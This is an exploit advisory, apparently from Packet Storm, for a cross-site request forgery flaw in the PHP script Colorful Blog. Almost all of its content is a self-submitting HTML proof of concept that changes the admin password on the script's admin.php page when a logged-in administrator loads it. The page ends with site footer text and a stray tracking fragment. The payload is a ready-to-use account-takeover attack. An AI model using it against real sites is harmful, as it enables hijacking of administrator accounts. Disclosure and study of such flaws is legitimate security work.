Colorful Blog suffers from a cross site request forgery vulnerability.
43fdeb5945dd3e2484942f144c3cb8525379481e3213c23b70c389c0f92b58d1# Exploit Title :----------- : Colorful Blog - Cross-Site Request Forgery (Change Admin Pass)
# Author :------------------ : Besim
# Google Dork :---------- : -
# Date :--------------------- : 13/10/2016
# Type :--------------------- : webapps
# Platform :---------------- : PHP
# Vendor Homepage :-- : -
# Software link :---------- : https://wmscripti.com/php-scriptler/colorful-blog-scripti.html
Description :
You can change admin's password with CSRF, if you know admin's username
########################### CSRF PoC ###############################
<html>
<!-- CSRF PoC -->
<body>
<form action="https://site_name/path/yonetim/admin.php" method="POST">
<input type="hidden" name="username" value="admin_username" />
<input type="hidden" name="password" value="besim" />
<input type="hidden" name="gonder" value="Kaydet" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
####################################################################
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed